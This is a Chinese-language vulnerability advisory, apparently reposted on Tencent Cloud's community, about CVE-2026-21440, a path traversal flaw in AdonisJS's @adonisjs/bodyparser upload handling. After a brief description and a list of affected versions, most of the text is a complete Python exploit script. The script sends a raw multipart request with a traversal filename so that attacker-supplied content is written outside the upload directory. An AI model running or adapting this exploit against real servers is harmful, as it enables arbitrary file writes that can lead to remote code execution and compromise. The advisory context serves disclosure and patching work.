首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)

CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)

作者头像
信安百科
发布2026-01-14 16:50:00
发布2026-01-14 16:50:00
670
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

AdonisJS是一个基于Node.js的全栈Web应用框架,采用MVC架构,旨在提供一种高效、简洁且具有良好开发体验的开发方式。

它内置了多种常用功能,如认证、数据库迁移、验证、邮件处理、文件上传等,帮助开发者专注于业务逻辑而无需过多关注底层实现。

AdonisJS提供了完善的CLI工具和强大的路由系统,适用于构建从小型应用到大型企业级应用的项目。

0x01 漏洞描述

AdonisJS的@adonisjs/bodyparser包存在路径遍历漏洞。攻击者可通过构造恶意文件名,利用MultipartFile.move(location,options)的默认选项,将文件写入服务器任意位置,绕过预期的上传目录。

若未显式设置options.name或options.overwrite,攻击者可通过路径遍历写入敏感文件,可能导致远程代码执行(RCE)。

0x02 CVE编号

CVE-2026-21440

0x03 影响版本

代码语言:javascript
复制
@adonisjs/bodyparser <= 10.1.1
@adonisjs/bodyparser <= 11.0.0-next.5

0x04 漏洞详情

POC:

https://github.com/k0nnect/cve-2026-21440-writeup

代码语言:javascript
复制
#!/usr/bin/env python3
"""
CVE-2026-21440 - Path Traversal Exploit for @adonisjs/bodyparser

This script exploits a path traversal vulnerability in the @adonisjs/bodyparser
package (versions ≤ 10.1.1 and 11.0.0-next.1 to 11.0.0-next.5).

The vulnerability allows an attacker to write arbitrary files outside the 
intended upload directory by crafting a malicious filename with directory 
traversal sequences.

Author: k0nnect
Date: 2026-01-07

⚠️  DISCLAIMER: This tool is for authorized security testing only.
    Unauthorized access to computer systems is illegal.
"""

import argparse
import sys
import os
import socket
from urllib.parse import urlparse, urljoin

try:
    import requests
except ImportError:
    print("[!] Error: 'requests' library not found.")
    print("    Install with: pip install requests")
    sys.exit(1)


# Banner
BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-21440 Path Traversal Exploit               ║
║                  @adonisjs/bodyparser                         ║
║                                                               ║
║          github.com/k0nnect/cve-2026-21440-writeup            ║
╚═══════════════════════════════════════════════════════════════╝
"""


class PathTraversalExploit:
    """
    Exploit class for CVE-2026-21440 path traversal vulnerability.
    """

    def __init__(self, target_url: str, timeout: int = 10, verify_ssl: bool = True):
        """
        Initialize the exploit.
        """
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.session = requests.Session()

        # Parse URL
        parsed = urlparse(self.target_url)
        self.host = parsed.hostname
        self.port = parsed.port or (443 if parsed.scheme == 'https' else 80)
        self.path = parsed.path or '/'
        self.is_https = parsed.scheme == 'https'

    def check_target(self) -> bool:
        """Check if target is reachable and healthy."""
        try:
            base_url = '/'.join(self.target_url.split('/')[:-1])
            health_url = urljoin(base_url + '/', 'health')
            response = self.session.get(health_url, timeout=self.timeout, verify=self.verify_ssl)
            if response.status_code == 200:
                print("[+] Target is reachable and healthy")
                return True
            else:
                print(f"[-] Target returned status {response.status_code}")
                return False
        except Exception as e:
            print(f"[!] Cannot connect to target: {e}")
            return False

    def exploit(self, traversal_path: str, content: str, verbose: bool = False) -> bool:
        """
        Execute the path traversal exploit using raw sockets.

        This bypasses all library-level filename sanitization.
        """
        print(f"\n[*] Target URL: {self.target_url}")
        print(f"[*] Traversal Path: {traversal_path}")
        print(f"[*] Payload Size: {len(content)} bytes")

        # Construct raw multipart body with unsanitized filename
        boundary = "----CVE2026214440Boundary"

        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="file"; filename="{traversal_path}"\r\n'
            f"Content-Type: application/octet-stream\r\n"
            f"\r\n"
            f"{content}\r\n"
            f"--{boundary}--\r\n"
        ).encode('utf-8')

        # Construct raw HTTP request
        request = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {len(body)}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode('utf-8') + body

        if verbose:
            print(f"[*] Crafted filename in request: {traversal_path}")
            print(f"[*] Raw request size: {len(request)} bytes")

        try:
            print("\n[*] Sending exploit payload via raw socket...")

            # Create socket and connect
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)

            if self.is_https:
                import ssl
                context = ssl.create_default_context()
                if not self.verify_ssl:
                    context.check_hostname = False
                    context.verify_mode = ssl.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=self.host)

            sock.connect((self.host, self.port))
            sock.sendall(request)

            # Receive response
            response = b""
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk

            sock.close()

            # Parse response
            response_str = response.decode('utf-8', errors='ignore')

            if verbose:
                print(f"[*] Raw response:\n{response_str[:1000]}")

            # Extract status code
            first_line = response_str.split('\r\n')[0]
            status_code = int(first_line.split()[1]) if len(first_line.split()) > 1 else 0

            # Extract body (after double CRLF)
            body_start = response_str.find('\r\n\r\n')
            response_body = response_str[body_start + 4:] if body_start != -1 else ""

            if verbose:
                print(f"[*] Response Status: {status_code}")
                print(f"[*] Response Body: {response_body[:500]}")

            if status_code == 200:
                print("\n[+] ✓ Exploit successful!")

                # Try to parse JSON response
                try:
                    import json
                    # Handle chunked encoding
                    if 'Transfer-Encoding: chunked' in response_str:
                        # Simple chunked decode - find JSON in body
                        json_start = response_body.find('{')
                        json_end = response_body.rfind('}') + 1
                        if json_start != -1 and json_end > json_start:
                            response_body = response_body[json_start:json_end]

                    data = json.loads(response_body)
                    if data.get('success') and 'data' in data:
                        info = data['data']
                        print(f"[+] Original name: {info.get('originalName', 'N/A')}")
                        print(f"[+] Resolved path: {info.get('resolvedPath', 'N/A')}")
                        if info.get('escapedUploadsDir'):
                            print(f"[+] ⚠️  PATH TRAVERSAL CONFIRMED - Escaped uploads directory!")
                except:
                    pass

                return True

            elif status_code == 400:
                print("\n[-] ✗ Bad request - file may have been rejected")
                return False
            else:
                print(f"\n[-] Unexpected status: {status_code}")
                return False

        except socket.timeout:
            print("\n[!] Request timed out")
            return False
        except ConnectionRefusedError:
            print("\n[!] Connection refused")
            return False
        except Exception as e:
            print(f"\n[!] Exploit failed: {e}")
            if verbose:
                import traceback
                traceback.print_exc()
            return False


def main():
    """Main entry point."""
    parser = argparse.ArgumentParser(
        description='CVE-2026-21440 Path Traversal Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python exploit.py --url http://target:3333/upload --path "../test.txt"
  python exploit.py --url http://target:3333/upload --path "../../tmp/pwned.txt" --content "pwned"
        """
    )

    parser.add_argument('--url', '-u', required=True, help='Target upload endpoint URL')
    parser.add_argument('--path', '-p', required=True, help='Traversal path (e.g., ../test.txt)')
    parser.add_argument('--content', '-c', default='CVE-2026-21440 PoC', help='File content')
    parser.add_argument('--file', '-f', help='Read content from file')
    parser.add_argument('--timeout', '-t', type=int, default=10, help='Timeout (seconds)')
    parser.add_argument('--no-ssl-verify', action='store_true', help='Disable SSL verify')
    parser.add_argument('--check', action='store_true', help='Only check target')
    parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')

    args = parser.parse_args()

    print(BANNER)

    # Load content
    content = args.content
    if args.file:
        if os.path.exists(args.file):
            with open(args.file, 'r') as f:
                content = f.read()
            print(f"[*] Loaded content from: {args.file}")
        else:
            print(f"[!] File not found: {args.file}")
            sys.exit(1)

    exploit = PathTraversalExploit(
        target_url=args.url,
        timeout=args.timeout,
        verify_ssl=not args.no_ssl_verify
    )

    if args.check:
        sys.exit(0 if exploit.check_target() else 1)

    print("[*] Starting exploit...")

    success = exploit.exploit(args.path, content, args.verbose)

    if success:
        print("\n" + "="*60)
        print("[+] Exploit completed - verify file on target")
        print("="*60)
        sys.exit(0)
    else:
        print("\n[-] Exploit may have failed")
        sys.exit(1)


if __name__ == '__main__':
    main()

0x05 参考链接

https://github.com/k0nnect/cve-2026-21440-writeup

https://github.com/adonisjs/bodyparser/releases/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-01-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档